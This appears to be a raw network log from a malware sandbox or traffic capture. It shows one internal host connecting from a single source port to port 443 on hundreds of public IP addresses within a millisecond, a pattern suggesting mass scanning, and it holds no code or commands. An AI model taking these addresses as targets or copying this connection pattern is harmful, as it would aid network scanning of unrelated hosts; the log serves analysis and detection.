Oct 14, 2024 17:30:15.923928976 CEST	54042	443	192.168.2.14	148.90.20.52
Oct 14, 2024 17:30:15.923928976 CEST	54042	443	192.168.2.14	79.183.164.138
Oct 14, 2024 17:30:15.923930883 CEST	443	54042	37.77.102.75	192.168.2.14
Oct 14, 2024 17:30:15.923937082 CEST	443	54042	5.129.114.154	192.168.2.14
Oct 14, 2024 17:30:15.923937082 CEST	443	54042	42.213.233.64	192.168.2.14
Oct 14, 2024 17:30:15.923940897 CEST	443	54042	118.78.42.174	192.168.2.14
Oct 14, 2024 17:30:15.923942089 CEST	54042	443	192.168.2.14	178.64.225.177
Oct 14, 2024 17:30:15.923943043 CEST	443	54042	118.143.25.196	192.168.2.14
Oct 14, 2024 17:30:15.923942089 CEST	54042	443	192.168.2.14	202.100.248.134
Oct 14, 2024 17:30:15.923942089 CEST	54042	443	192.168.2.14	118.110.179.139
Oct 14, 2024 17:30:15.923943043 CEST	54042	443	192.168.2.14	178.78.136.2
Oct 14, 2024 17:30:15.923945904 CEST	443	54042	94.193.240.74	192.168.2.14
Oct 14, 2024 17:30:15.923948050 CEST	54042	443	192.168.2.14	210.254.172.21
Oct 14, 2024 17:30:15.923948050 CEST	54042	443	192.168.2.14	94.100.42.205
Oct 14, 2024 17:30:15.923948050 CEST	54042	443	192.168.2.14	202.92.116.87
Oct 14, 2024 17:30:15.923954010 CEST	443	54042	2.219.80.79	192.168.2.14
Oct 14, 2024 17:30:15.923954964 CEST	54042	443	192.168.2.14	178.226.132.91
Oct 14, 2024 17:30:15.923955917 CEST	443	54042	178.64.225.177	192.168.2.14
Oct 14, 2024 17:30:15.923958063 CEST	443	54042	5.43.224.173	192.168.2.14
Oct 14, 2024 17:30:15.923954964 CEST	54042	443	192.168.2.14	202.26.168.185
Oct 14, 2024 17:30:15.923964024 CEST	443	54042	210.254.172.21	192.168.2.14
Oct 14, 2024 17:30:15.923964977 CEST	443	54042	178.78.136.2	192.168.2.14
Oct 14, 2024 17:30:15.923966885 CEST	54042	443	192.168.2.14	118.57.211.111
Oct 14, 2024 17:30:15.923968077 CEST	443	54042	178.226.132.91	192.168.2.14
Oct 14, 2024 17:30:15.923968077 CEST	443	54042	118.110.179.139	192.168.2.14
Oct 14, 2024 17:30:15.923966885 CEST	54042	443	192.168.2.14	118.252.246.130
Oct 14, 2024 17:30:15.923966885 CEST	54042	443	192.168.2.14	148.17.100.157
Oct 14, 2024 17:30:15.923966885 CEST	54042	443	192.168.2.14	42.10.139.81
Oct 14, 2024 17:30:15.923966885 CEST	54042	443	192.168.2.14	123.178.180.161
Oct 14, 2024 17:30:15.923966885 CEST	54042	443	192.168.2.14	5.205.208.7
Oct 14, 2024 17:30:15.923966885 CEST	54042	443	192.168.2.14	210.107.116.212
Oct 14, 2024 17:30:15.923971891 CEST	443	54042	94.100.42.205	192.168.2.14
Oct 14, 2024 17:30:15.923981905 CEST	443	54042	79.232.73.236	192.168.2.14
Oct 14, 2024 17:30:15.923998117 CEST	54042	443	192.168.2.14	123.236.37.78
Oct 14, 2024 17:30:15.923998117 CEST	54042	443	192.168.2.14	118.212.93.245
Oct 14, 2024 17:30:15.924002886 CEST	54042	443	192.168.2.14	148.134.51.47
Oct 14, 2024 17:30:15.924002886 CEST	54042	443	192.168.2.14	117.91.135.93
Oct 14, 2024 17:30:15.924032927 CEST	54042	443	192.168.2.14	210.194.249.137
Oct 14, 2024 17:30:15.924032927 CEST	54042	443	192.168.2.14	123.203.124.155
Oct 14, 2024 17:30:15.924032927 CEST	54042	443	192.168.2.14	123.126.240.111
Oct 14, 2024 17:30:15.924032927 CEST	54042	443	192.168.2.14	202.164.110.185
Oct 14, 2024 17:30:15.924032927 CEST	54042	443	192.168.2.14	148.16.103.209
Oct 14, 2024 17:30:15.924032927 CEST	54042	443	192.168.2.14	2.147.234.205
Oct 14, 2024 17:30:15.924032927 CEST	54042	443	192.168.2.14	118.15.117.149
Oct 14, 2024 17:30:15.924034119 CEST	54042	443	192.168.2.14	123.239.48.131
Oct 14, 2024 17:30:15.924056053 CEST	54042	443	192.168.2.14	212.239.233.141
Oct 14, 2024 17:30:15.924056053 CEST	54042	443	192.168.2.14	212.44.188.23
Oct 14, 2024 17:30:15.924056053 CEST	54042	443	192.168.2.14	210.254.154.136
Oct 14, 2024 17:30:15.924056053 CEST	54042	443	192.168.2.14	37.123.20.241
Oct 14, 2024 17:30:15.924056053 CEST	54042	443	192.168.2.14	118.203.96.118
Oct 14, 2024 17:30:15.924056053 CEST	54042	443	192.168.2.14	2.87.132.254
Oct 14, 2024 17:30:15.924056053 CEST	54042	443	192.168.2.14	109.16.26.209
Oct 14, 2024 17:30:15.924061060 CEST	54042	443	192.168.2.14	123.80.128.111
Oct 14, 2024 17:30:15.924062014 CEST	54042	443	192.168.2.14	210.18.38.11
Oct 14, 2024 17:30:15.924061060 CEST	54042	443	192.168.2.14	210.214.76.3
Oct 14, 2024 17:30:15.924062014 CEST	54042	443	192.168.2.14	117.114.144.144
Oct 14, 2024 17:30:15.924061060 CEST	54042	443	192.168.2.14	118.55.188.93
Oct 14, 2024 17:30:15.924062014 CEST	54042	443	192.168.2.14	212.181.132.215
Oct 14, 2024 17:30:15.924061060 CEST	54042	443	192.168.2.14	123.70.37.206
Oct 14, 2024 17:30:15.924067020 CEST	54042	443	192.168.2.14	79.152.45.247
Oct 14, 2024 17:30:15.924065113 CEST	54042	443	192.168.2.14	212.53.242.3
Oct 14, 2024 17:30:15.924061060 CEST	54042	443	192.168.2.14	178.33.151.243
Oct 14, 2024 17:30:15.924067020 CEST	54042	443	192.168.2.14	79.54.96.151
Oct 14, 2024 17:30:15.924062967 CEST	54042	443	192.168.2.14	148.4.181.91
Oct 14, 2024 17:30:15.924062014 CEST	54042	443	192.168.2.14	212.2.181.85
Oct 14, 2024 17:30:15.924072981 CEST	54042	443	192.168.2.14	118.78.42.174
Oct 14, 2024 17:30:15.924061060 CEST	54042	443	192.168.2.14	178.2.176.188
Oct 14, 2024 17:30:15.924061060 CEST	54042	443	192.168.2.14	178.207.145.222
Oct 14, 2024 17:30:15.924061060 CEST	54042	443	192.168.2.14	118.175.8.112
Oct 14, 2024 17:30:15.924067020 CEST	54042	443	192.168.2.14	210.228.13.136
Oct 14, 2024 17:30:15.924065113 CEST	54042	443	192.168.2.14	109.89.125.131
Oct 14, 2024 17:30:15.924061060 CEST	54042	443	192.168.2.14	42.93.104.229
Oct 14, 2024 17:30:15.924062967 CEST	54042	443	192.168.2.14	2.3.159.208
Oct 14, 2024 17:30:15.924065113 CEST	54042	443	192.168.2.14	42.241.214.164
Oct 14, 2024 17:30:15.924061060 CEST	54042	443	192.168.2.14	117.36.249.66
Oct 14, 2024 17:30:15.924067020 CEST	54042	443	192.168.2.14	79.215.191.43
Oct 14, 2024 17:30:15.924062967 CEST	54042	443	192.168.2.14	37.109.51.21
Oct 14, 2024 17:30:15.924067020 CEST	54042	443	192.168.2.14	123.212.105.59
Oct 14, 2024 17:30:15.924065113 CEST	54042	443	192.168.2.14	117.162.54.99
Oct 14, 2024 17:30:15.924062967 CEST	54042	443	192.168.2.14	94.40.84.60
Oct 14, 2024 17:30:15.924065113 CEST	54042	443	192.168.2.14	37.77.102.75
Oct 14, 2024 17:30:15.924067020 CEST	54042	443	192.168.2.14	37.12.60.118
Oct 14, 2024 17:30:15.924062967 CEST	54042	443	192.168.2.14	118.94.134.204
Oct 14, 2024 17:30:15.924065113 CEST	54042	443	192.168.2.14	37.152.71.172
Oct 14, 2024 17:30:15.924062967 CEST	54042	443	192.168.2.14	37.198.10.31
Oct 14, 2024 17:30:15.924067020 CEST	54042	443	192.168.2.14	42.213.233.64
Oct 14, 2024 17:30:15.924067020 CEST	54042	443	192.168.2.14	94.193.240.74
Oct 14, 2024 17:30:15.924165010 CEST	54042	443	192.168.2.14	117.139.242.53
Oct 14, 2024 17:30:15.924165010 CEST	54042	443	192.168.2.14	178.64.225.177
Oct 14, 2024 17:30:15.924165010 CEST	54042	443	192.168.2.14	5.221.9.194
Oct 14, 2024 17:30:15.924165010 CEST	54042	443	192.168.2.14	109.87.207.183
Oct 14, 2024 17:30:15.924166918 CEST	54042	443	192.168.2.14	5.167.143.160
Oct 14, 2024 17:30:15.924165010 CEST	54042	443	192.168.2.14	178.234.242.50
Oct 14, 2024 17:30:15.924166918 CEST	54042	443	192.168.2.14	148.208.209.37
Oct 14, 2024 17:30:15.924168110 CEST	54042	443	192.168.2.14	117.23.155.3
Oct 14, 2024 17:30:15.924166918 CEST	54042	443	192.168.2.14	118.143.25.196
Oct 14, 2024 17:30:15.924168110 CEST	54042	443	192.168.2.14	210.254.172.21
Oct 14, 2024 17:30:15.924169064 CEST	54042	443	192.168.2.14	2.211.155.107
Oct 14, 2024 17:30:15.924168110 CEST	54042	443	192.168.2.14	94.100.42.205
Oct 14, 2024 17:30:15.924169064 CEST	54042	443	192.168.2.14	148.147.96.180
Oct 14, 2024 17:30:15.924166918 CEST	54042	443	192.168.2.14	210.0.197.130
Oct 14, 2024 17:30:15.924170971 CEST	54042	443	192.168.2.14	2.253.203.255
Oct 14, 2024 17:30:15.924170971 CEST	54042	443	192.168.2.14	109.63.246.11
Oct 14, 2024 17:30:15.924166918 CEST	54042	443	192.168.2.14	123.191.76.197
Oct 14, 2024 17:30:15.924170971 CEST	54042	443	192.168.2.14	94.36.48.186
Oct 14, 2024 17:30:15.924166918 CEST	54042	443	192.168.2.14	2.219.80.79
Oct 14, 2024 17:30:15.924169064 CEST	54042	443	192.168.2.14	5.129.114.154
Oct 14, 2024 17:30:15.924166918 CEST	54042	443	192.168.2.14	148.54.110.67
Oct 14, 2024 17:30:15.924168110 CEST	54042	443	192.168.2.14	94.178.168.61
Oct 14, 2024 17:30:15.924170971 CEST	54042	443	192.168.2.14	5.40.154.0
Oct 14, 2024 17:30:15.924170971 CEST	54042	443	192.168.2.14	37.48.254.142
Oct 14, 2024 17:30:15.924169064 CEST	54042	443	192.168.2.14	117.225.117.145
Oct 14, 2024 17:30:15.924168110 CEST	54042	443	192.168.2.14	202.108.16.136
Oct 14, 2024 17:30:15.924169064 CEST	54042	443	192.168.2.14	202.76.191.130
Oct 14, 2024 17:30:15.924177885 CEST	54042	443	192.168.2.14	118.171.130.20
Oct 14, 2024 17:30:15.924166918 CEST	54042	443	192.168.2.14	178.78.136.2
Oct 14, 2024 17:30:15.924171925 CEST	54042	443	192.168.2.14	202.75.88.72
Oct 14, 2024 17:30:15.924177885 CEST	54042	443	192.168.2.14	210.97.18.48
Oct 14, 2024 17:30:15.924166918 CEST	54042	443	192.168.2.14	118.110.179.139
Oct 14, 2024 17:30:15.924170971 CEST	54042	443	192.168.2.14	2.95.104.10
Oct 14, 2024 17:30:15.924166918 CEST	54042	443	192.168.2.14	42.199.118.71
Oct 14, 2024 17:30:15.924170971 CEST	54042	443	192.168.2.14	109.194.12.207
Oct 14, 2024 17:30:15.924171925 CEST	54042	443	192.168.2.14	178.74.76.246
Oct 14, 2024 17:30:15.924179077 CEST	54042	443	192.168.2.14	79.60.109.243
Oct 14, 2024 17:30:15.924171925 CEST	54042	443	192.168.2.14	202.88.201.236
Oct 14, 2024 17:30:15.924170971 CEST	54042	443	192.168.2.14	123.1.100.62
Oct 14, 2024 17:30:15.924171925 CEST	54042	443	192.168.2.14	212.159.123.196
Oct 14, 2024 17:30:15.924179077 CEST	54042	443	192.168.2.14	118.59.44.42
Oct 14, 2024 17:30:15.924170971 CEST	54042	443	192.168.2.14	210.156.87.65
Oct 14, 2024 17:30:15.924171925 CEST	54042	443	192.168.2.14	5.230.168.46
Oct 14, 2024 17:30:15.924170971 CEST	54042	443	192.168.2.14	178.226.132.91
Oct 14, 2024 17:30:15.924171925 CEST	54042	443	192.168.2.14	178.55.20.55
Oct 14, 2024 17:30:15.924207926 CEST	54042	443	192.168.2.14	148.236.102.94
Oct 14, 2024 17:30:15.924207926 CEST	54042	443	192.168.2.14	79.241.150.137
Oct 14, 2024 17:30:15.924207926 CEST	54042	443	192.168.2.14	178.242.145.152
Oct 14, 2024 17:30:15.924207926 CEST	54042	443	192.168.2.14	37.225.162.29
Oct 14, 2024 17:30:15.924207926 CEST	54042	443	192.168.2.14	202.5.32.27
Oct 14, 2024 17:30:15.924207926 CEST	54042	443	192.168.2.14	212.247.49.212
Oct 14, 2024 17:30:15.924212933 CEST	54042	443	192.168.2.14	117.147.105.11
Oct 14, 2024 17:30:15.924212933 CEST	54042	443	192.168.2.14	2.40.50.12
Oct 14, 2024 17:30:15.924212933 CEST	54042	443	192.168.2.14	79.182.11.5
Oct 14, 2024 17:30:15.924216032 CEST	54042	443	192.168.2.14	123.118.157.61
Oct 14, 2024 17:30:15.924216032 CEST	54042	443	192.168.2.14	148.153.120.194
Oct 14, 2024 17:30:15.924216986 CEST	54042	443	192.168.2.14	202.90.229.102
Oct 14, 2024 17:30:15.924216032 CEST	54042	443	192.168.2.14	212.43.65.253
Oct 14, 2024 17:30:15.924216986 CEST	54042	443	192.168.2.14	148.2.26.45
Oct 14, 2024 17:30:15.924216986 CEST	54042	443	192.168.2.14	210.73.8.22
Oct 14, 2024 17:30:15.924216986 CEST	54042	443	192.168.2.14	117.84.106.78
Oct 14, 2024 17:30:15.924216986 CEST	54042	443	192.168.2.14	2.164.219.28
Oct 14, 2024 17:30:15.924221992 CEST	54042	443	192.168.2.14	94.70.181.60
Oct 14, 2024 17:30:15.924216986 CEST	54042	443	192.168.2.14	5.120.119.179
Oct 14, 2024 17:30:15.924216986 CEST	54042	443	192.168.2.14	178.29.8.245
Oct 14, 2024 17:30:15.924221992 CEST	54042	443	192.168.2.14	79.218.14.79
Oct 14, 2024 17:30:15.924225092 CEST	54042	443	192.168.2.14	123.228.128.58
Oct 14, 2024 17:30:15.924223900 CEST	54042	443	192.168.2.14	79.232.73.236
Oct 14, 2024 17:30:15.924226999 CEST	54042	443	192.168.2.14	2.182.182.214
Oct 14, 2024 17:30:15.924216986 CEST	54042	443	192.168.2.14	42.69.160.217
Oct 14, 2024 17:30:15.924226999 CEST	54042	443	192.168.2.14	212.119.229.121
Oct 14, 2024 17:30:15.924225092 CEST	54042	443	192.168.2.14	79.145.112.95
Oct 14, 2024 17:30:15.924226999 CEST	54042	443	192.168.2.14	202.205.21.218
Oct 14, 2024 17:30:15.924217939 CEST	54042	443	192.168.2.14	42.228.77.42
Oct 14, 2024 17:30:15.924216986 CEST	54042	443	192.168.2.14	37.140.189.127
Oct 14, 2024 17:30:15.924217939 CEST	54042	443	192.168.2.14	5.70.240.219
Oct 14, 2024 17:30:15.924222946 CEST	54042	443	192.168.2.14	42.69.72.247
Oct 14, 2024 17:30:15.924226999 CEST	54042	443	192.168.2.14	42.251.64.64
Oct 14, 2024 17:30:15.924217939 CEST	54042	443	192.168.2.14	94.215.33.171
Oct 14, 2024 17:30:15.924226999 CEST	54042	443	192.168.2.14	202.107.206.203
Oct 14, 2024 17:30:15.924217939 CEST	54042	443	192.168.2.14	202.76.102.2
Oct 14, 2024 17:30:15.924222946 CEST	54042	443	192.168.2.14	94.29.64.135
Oct 14, 2024 17:30:15.924223900 CEST	54042	443	192.168.2.14	118.225.19.91
Oct 14, 2024 17:30:15.924222946 CEST	54042	443	192.168.2.14	37.236.213.156
Oct 14, 2024 17:30:15.924223900 CEST	54042	443	192.168.2.14	94.192.242.64
Oct 14, 2024 17:30:15.924222946 CEST	54042	443	192.168.2.14	2.240.159.83
Oct 14, 2024 17:30:15.924223900 CEST	54042	443	192.168.2.14	178.209.186.3
Oct 14, 2024 17:30:15.924222946 CEST	54042	443	192.168.2.14	5.43.224.173
Oct 14, 2024 17:30:15.924222946 CEST	54042	443	192.168.2.14	123.33.79.248
Oct 14, 2024 17:30:15.924252987 CEST	54042	443	192.168.2.14	118.19.65.67
Oct 14, 2024 17:30:15.924252987 CEST	54042	443	192.168.2.14	5.48.92.245
Oct 14, 2024 17:30:15.924252987 CEST	54042	443	192.168.2.14	118.25.242.92
Oct 14, 2024 17:30:15.924253941 CEST	54042	443	192.168.2.14	210.171.29.159
Oct 14, 2024 17:30:15.924253941 CEST	54042	443	192.168.2.14	123.16.64.17
Oct 14, 2024 17:30:15.924253941 CEST	54042	443	192.168.2.14	212.51.32.139
Oct 14, 2024 17:30:15.924253941 CEST	54042	443	192.168.2.14	94.129.85.7
Oct 14, 2024 17:30:15.924263954 CEST	54042	443	192.168.2.14	5.97.81.143
Oct 14, 2024 17:30:15.924263954 CEST	54042	443	192.168.2.14	94.148.136.149
Oct 14, 2024 17:30:15.924263954 CEST	54042	443	192.168.2.14	210.213.58.159
Oct 14, 2024 17:30:15.924280882 CEST	54042	443	192.168.2.14	2.212.17.51
Oct 14, 2024 17:30:15.924280882 CEST	54042	443	192.168.2.14	2.138.55.204
Oct 14, 2024 17:30:15.924280882 CEST	54042	443	192.168.2.14	118.250.167.72
Oct 14, 2024 17:30:15.924282074 CEST	54042	443	192.168.2.14	42.142.146.102
Oct 14, 2024 17:30:15.924280882 CEST	54042	443	192.168.2.14	2.0.161.192
Oct 14, 2024 17:30:15.924280882 CEST	54042	443	192.168.2.14	79.107.2.40
Oct 14, 2024 17:30:15.924282074 CEST	54042	443	192.168.2.14	118.24.111.44
Oct 14, 2024 17:30:15.924280882 CEST	54042	443	192.168.2.14	5.103.144.6
Oct 14, 2024 17:30:15.924282074 CEST	54042	443	192.168.2.14	109.254.61.193
Oct 14, 2024 17:30:15.924282074 CEST	54042	443	192.168.2.14	37.73.118.3
Oct 14, 2024 17:30:15.924282074 CEST	54042	443	192.168.2.14	117.4.215.246
Oct 14, 2024 17:30:15.924280882 CEST	54042	443	192.168.2.14	118.166.200.200
Oct 14, 2024 17:30:15.924282074 CEST	54042	443	192.168.2.14	94.220.230.107
Oct 14, 2024 17:30:15.924282074 CEST	54042	443	192.168.2.14	118.55.228.234
Oct 14, 2024 17:30:15.924283028 CEST	54042	443	192.168.2.14	94.165.178.4
Oct 14, 2024 17:30:15.924285889 CEST	54042	443	192.168.2.14	42.126.80.239
Oct 14, 2024 17:30:15.924283981 CEST	54042	443	192.168.2.14	118.227.81.1
Oct 14, 2024 17:30:15.924282074 CEST	54042	443	192.168.2.14	212.214.29.147
Oct 14, 2024 17:30:15.924293995 CEST	54042	443	192.168.2.14	212.79.241.121
Oct 14, 2024 17:30:15.924283981 CEST	54042	443	192.168.2.14	2.51.247.42
Oct 14, 2024 17:30:15.924283981 CEST	54042	443	192.168.2.14	148.123.247.65
Oct 14, 2024 17:30:15.924283981 CEST	54042	443	192.168.2.14	212.152.103.174
Oct 14, 2024 17:30:15.924283981 CEST	54042	443	192.168.2.14	212.127.25.16
Oct 14, 2024 17:30:15.924285889 CEST	54042	443	192.168.2.14	178.217.184.235
Oct 14, 2024 17:30:15.924293995 CEST	54042	443	192.168.2.14	212.156.79.111
Oct 14, 2024 17:30:15.924283981 CEST	54042	443	192.168.2.14	5.146.152.174
Oct 14, 2024 17:30:15.924310923 CEST	54042	443	192.168.2.14	42.201.212.183
Oct 14, 2024 17:30:15.924285889 CEST	54042	443	192.168.2.14	2.31.83.6
Oct 14, 2024 17:30:15.924313068 CEST	54042	443	192.168.2.14	123.174.96.20
Oct 14, 2024 17:30:15.924309015 CEST	54042	443	192.168.2.14	94.76.27.30
Oct 14, 2024 17:30:15.924283981 CEST	54042	443	192.168.2.14	118.241.183.114
Oct 14, 2024 17:30:15.924309015 CEST	54042	443	192.168.2.14	148.31.84.89
Oct 14, 2024 17:30:15.924314022 CEST	54042	443	192.168.2.14	117.97.78.51
Oct 14, 2024 17:30:15.924310923 CEST	54042	443	192.168.2.14	37.133.246.19
Oct 14, 2024 17:30:15.924285889 CEST	54042	443	192.168.2.14	5.61.241.189
Oct 14, 2024 17:30:15.924283981 CEST	54042	443	192.168.2.14	37.157.96.21
Oct 14, 2024 17:30:15.924310923 CEST	54042	443	192.168.2.14	148.112.40.121
Oct 14, 2024 17:30:15.924314022 CEST	54042	443	192.168.2.14	79.143.62.80
Oct 14, 2024 17:30:15.924285889 CEST	54042	443	192.168.2.14	118.154.154.147
Oct 14, 2024 17:30:15.924310923 CEST	54042	443	192.168.2.14	148.196.126.86
Oct 14, 2024 17:30:15.924283981 CEST	54042	443	192.168.2.14	118.60.105.201
Oct 14, 2024 17:30:15.924309015 CEST	54042	443	192.168.2.14	117.60.202.64
Oct 14, 2024 17:30:15.924310923 CEST	54042	443	192.168.2.14	42.107.48.189
Oct 14, 2024 17:30:15.924314022 CEST	54042	443	192.168.2.14	118.178.142.27
Oct 14, 2024 17:30:15.924310923 CEST	54042	443	192.168.2.14	42.118.212.2
Oct 14, 2024 17:30:15.924335957 CEST	54042	443	192.168.2.14	109.103.136.20
Oct 14, 2024 17:30:15.924335957 CEST	54042	443	192.168.2.14	212.180.145.239
Oct 14, 2024 17:30:15.924283981 CEST	54042	443	192.168.2.14	109.163.127.231
Oct 14, 2024 17:30:15.924283981 CEST	54042	443	192.168.2.14	37.37.229.223
Oct 14, 2024 17:30:15.924335957 CEST	54042	443	192.168.2.14	210.149.218.70
Oct 14, 2024 17:30:15.924340963 CEST	54042	443	192.168.2.14	148.41.150.196
Oct 14, 2024 17:30:15.924335957 CEST	54042	443	192.168.2.14	117.158.105.88
Oct 14, 2024 17:30:15.924283981 CEST	54042	443	192.168.2.14	109.149.192.229
Oct 14, 2024 17:30:15.924340963 CEST	54042	443	192.168.2.14	37.51.65.245
Oct 14, 2024 17:30:15.924346924 CEST	54042	443	192.168.2.14	118.100.198.99
Oct 14, 2024 17:30:15.924283981 CEST	54042	443	192.168.2.14	42.103.83.33
Oct 14, 2024 17:30:15.924346924 CEST	54042	443	192.168.2.14	118.235.190.181
Oct 14, 2024 17:30:15.924283981 CEST	54042	443	192.168.2.14	123.42.72.26
Oct 14, 2024 17:30:15.924340963 CEST	54042	443	192.168.2.14	37.186.51.74
Oct 14, 2024 17:30:15.924346924 CEST	54042	443	192.168.2.14	5.78.164.220
Oct 14, 2024 17:30:15.924283981 CEST	54042	443	192.168.2.14	178.242.31.141
Oct 14, 2024 17:30:15.924310923 CEST	54042	443	192.168.2.14	148.94.56.37
Oct 14, 2024 17:30:15.924346924 CEST	54042	443	192.168.2.14	37.98.61.33
Oct 14, 2024 17:30:15.924354076 CEST	54042	443	192.168.2.14	148.0.197.84
Oct 14, 2024 17:30:15.924346924 CEST	54042	443	192.168.2.14	79.83.165.230
Oct 14, 2024 17:30:15.924354076 CEST	54042	443	192.168.2.14	37.243.55.140
Oct 14, 2024 17:30:15.924293995 CEST	54042	443	192.168.2.14	210.43.178.80
Oct 14, 2024 17:30:15.924310923 CEST	54042	443	192.168.2.14	123.6.36.67
Oct 14, 2024 17:30:15.924350023 CEST	54042	443	192.168.2.14	37.7.199.24
Oct 14, 2024 17:30:15.924360991 CEST	54042	443	192.168.2.14	148.168.166.166
Oct 14, 2024 17:30:15.924346924 CEST	54042	443	192.168.2.14	117.47.32.44
Oct 14, 2024 17:30:15.924364090 CEST	54042	443	192.168.2.14	178.71.243.8
Oct 14, 2024 17:30:15.924310923 CEST	54042	443	192.168.2.14	79.26.77.209
Oct 14, 2024 17:30:15.924350023 CEST	54042	443	192.168.2.14	148.135.143.139
Oct 14, 2024 17:30:15.924360991 CEST	54042	443	192.168.2.14	178.240.103.248
Oct 14, 2024 17:30:15.924350023 CEST	54042	443	192.168.2.14	178.90.118.208
Oct 14, 2024 17:30:15.924360991 CEST	54042	443	192.168.2.14	2.177.96.209
Oct 14, 2024 17:30:15.924293995 CEST	54042	443	192.168.2.14	212.252.217.69
Oct 14, 2024 17:30:15.924360991 CEST	54042	443	192.168.2.14	210.175.202.139
Oct 14, 2024 17:30:15.924371004 CEST	54042	443	192.168.2.14	79.6.161.112
Oct 14, 2024 17:30:15.924371004 CEST	54042	443	192.168.2.14	117.159.9.232
Oct 14, 2024 17:30:15.924360991 CEST	54042	443	192.168.2.14	118.80.175.48
Oct 14, 2024 17:30:15.924371004 CEST	54042	443	192.168.2.14	118.160.0.28
Oct 14, 2024 17:30:15.924293995 CEST	54042	443	192.168.2.14	123.83.66.64
Oct 14, 2024 17:30:15.924371004 CEST	54042	443	192.168.2.14	94.72.67.65
Oct 14, 2024 17:30:15.924371004 CEST	54042	443	192.168.2.14	42.222.175.121
Oct 14, 2024 17:30:15.924294949 CEST	54042	443	192.168.2.14	117.188.111.117
Oct 14, 2024 17:30:15.924371004 CEST	54042	443	192.168.2.14	123.250.170.120
Oct 14, 2024 17:30:15.924371004 CEST	54042	443	192.168.2.14	148.45.252.134
Oct 14, 2024 17:30:15.924381971 CEST	54042	443	192.168.2.14	2.239.170.206
Oct 14, 2024 17:30:15.924385071 CEST	54042	443	192.168.2.14	37.5.193.62
Oct 14, 2024 17:30:15.924386978 CEST	54042	443	192.168.2.14	2.133.131.12
Oct 14, 2024 17:30:15.924397945 CEST	54042	443	192.168.2.14	178.51.245.177
Oct 14, 2024 17:30:15.924398899 CEST	54042	443	192.168.2.14	5.242.253.190
Oct 14, 2024 17:30:15.924398899 CEST	54042	443	192.168.2.14	118.208.110.251
Oct 14, 2024 17:30:15.924398899 CEST	54042	443	192.168.2.14	2.93.34.183
Oct 14, 2024 17:30:15.924398899 CEST	54042	443	192.168.2.14	5.191.238.85
Oct 14, 2024 17:30:15.924398899 CEST	54042	443	192.168.2.14	210.130.97.154
Oct 14, 2024 17:30:15.924405098 CEST	54042	443	192.168.2.14	118.67.99.159
Oct 14, 2024 17:30:15.924398899 CEST	54042	443	192.168.2.14	109.225.145.180
Oct 14, 2024 17:30:15.924405098 CEST	54042	443	192.168.2.14	117.114.59.113
Oct 14, 2024 17:30:15.924405098 CEST	54042	443	192.168.2.14	117.11.164.183
Oct 14, 2024 17:30:15.924407005 CEST	54042	443	192.168.2.14	94.225.255.169
Oct 14, 2024 17:30:15.924405098 CEST	54042	443	192.168.2.14	109.124.168.105
Oct 14, 2024 17:30:15.924405098 CEST	54042	443	192.168.2.14	178.142.4.115
Oct 14, 2024 17:30:15.924413919 CEST	54042	443	192.168.2.14	123.151.125.66
Oct 14, 2024 17:30:15.924413919 CEST	54042	443	192.168.2.14	178.75.10.225
Oct 14, 2024 17:30:15.924428940 CEST	54042	443	192.168.2.14	79.58.210.55
Oct 14, 2024 17:30:15.924428940 CEST	54042	443	192.168.2.14	2.165.150.137
Oct 14, 2024 17:30:15.924429893 CEST	54042	443	192.168.2.14	123.228.146.143
Oct 14, 2024 17:30:15.924428940 CEST	54042	443	192.168.2.14	42.76.159.194
Oct 14, 2024 17:30:15.924428940 CEST	54042	443	192.168.2.14	212.143.183.133
Oct 14, 2024 17:30:15.924432993 CEST	54042	443	192.168.2.14	2.200.24.187
Oct 14, 2024 17:30:15.924438953 CEST	54042	443	192.168.2.14	178.168.243.5
Oct 14, 2024 17:30:15.924439907 CEST	54042	443	192.168.2.14	212.33.226.70
Oct 14, 2024 17:30:15.924458027 CEST	54042	443	192.168.2.14	212.232.115.196
Oct 14, 2024 17:30:15.924465895 CEST	54042	443	192.168.2.14	202.204.168.18
Oct 14, 2024 17:30:15.924465895 CEST	54042	443	192.168.2.14	148.65.156.69
Oct 14, 2024 17:30:15.924467087 CEST	54042	443	192.168.2.14	5.249.130.224
Oct 14, 2024 17:30:15.924474955 CEST	54042	443	192.168.2.14	178.101.33.101
Oct 14, 2024 17:30:15.924474955 CEST	54042	443	192.168.2.14	212.59.39.135
Oct 14, 2024 17:30:15.924479008 CEST	54042	443	192.168.2.14	148.77.120.137
Oct 14, 2024 17:30:15.924479008 CEST	54042	443	192.168.2.14	118.49.169.157
Oct 14, 2024 17:30:15.924490929 CEST	54042	443	192.168.2.14	37.7.89.43
Oct 14, 2024 17:30:15.924491882 CEST	54042	443	192.168.2.14	42.50.53.163
Oct 14, 2024 17:30:15.924499035 CEST	54042	443	192.168.2.14	123.85.38.94
Oct 14, 2024 17:30:15.924509048 CEST	54042	443	192.168.2.14	117.135.227.213
Oct 14, 2024 17:30:15.924510002 CEST	54042	443	192.168.2.14	109.85.151.181
Oct 14, 2024 17:30:15.924510002 CEST	54042	443	192.168.2.14	2.217.35.114
Oct 14, 2024 17:30:15.924518108 CEST	54042	443	192.168.2.14	94.1.120.39
Oct 14, 2024 17:30:15.924526930 CEST	54042	443	192.168.2.14	117.216.104.233
Oct 14, 2024 17:30:15.924534082 CEST	54042	443	192.168.2.14	117.1.110.116
Oct 14, 2024 17:30:15.924534082 CEST	54042	443	192.168.2.14	212.110.121.203
Oct 14, 2024 17:30:15.924537897 CEST	54042	443	192.168.2.14	42.210.172.203
Oct 14, 2024 17:30:15.924537897 CEST	54042	443	192.168.2.14	118.249.221.71
Oct 14, 2024 17:30:15.924542904 CEST	54042	443	192.168.2.14	123.73.64.151
Oct 14, 2024 17:30:15.924570084 CEST	54042	443	192.168.2.14	94.219.171.165
Oct 14, 2024 17:30:15.924570084 CEST	54042	443	192.168.2.14	42.237.159.40
Oct 14, 2024 17:30:15.924571037 CEST	54042	443	192.168.2.14	178.50.24.161
Oct 14, 2024 17:30:15.924571991 CEST	54042	443	192.168.2.14	109.246.126.49
Oct 14, 2024 17:30:15.924571991 CEST	54042	443	192.168.2.14	212.197.122.149
Oct 14, 2024 17:30:15.924573898 CEST	54042	443	192.168.2.14	148.234.116.156
Oct 14, 2024 17:30:15.924573898 CEST	54042	443	192.168.2.14	94.38.194.252
Oct 14, 2024 17:30:15.924573898 CEST	54042	443	192.168.2.14	178.236.126.223
Oct 14, 2024 17:30:15.924573898 CEST	54042	443	192.168.2.14	37.50.113.76
Oct 14, 2024 17:30:15.924587011 CEST	54042	443	192.168.2.14	118.176.192.197
Oct 14, 2024 17:30:15.924588919 CEST	54042	443	192.168.2.14	109.167.129.212
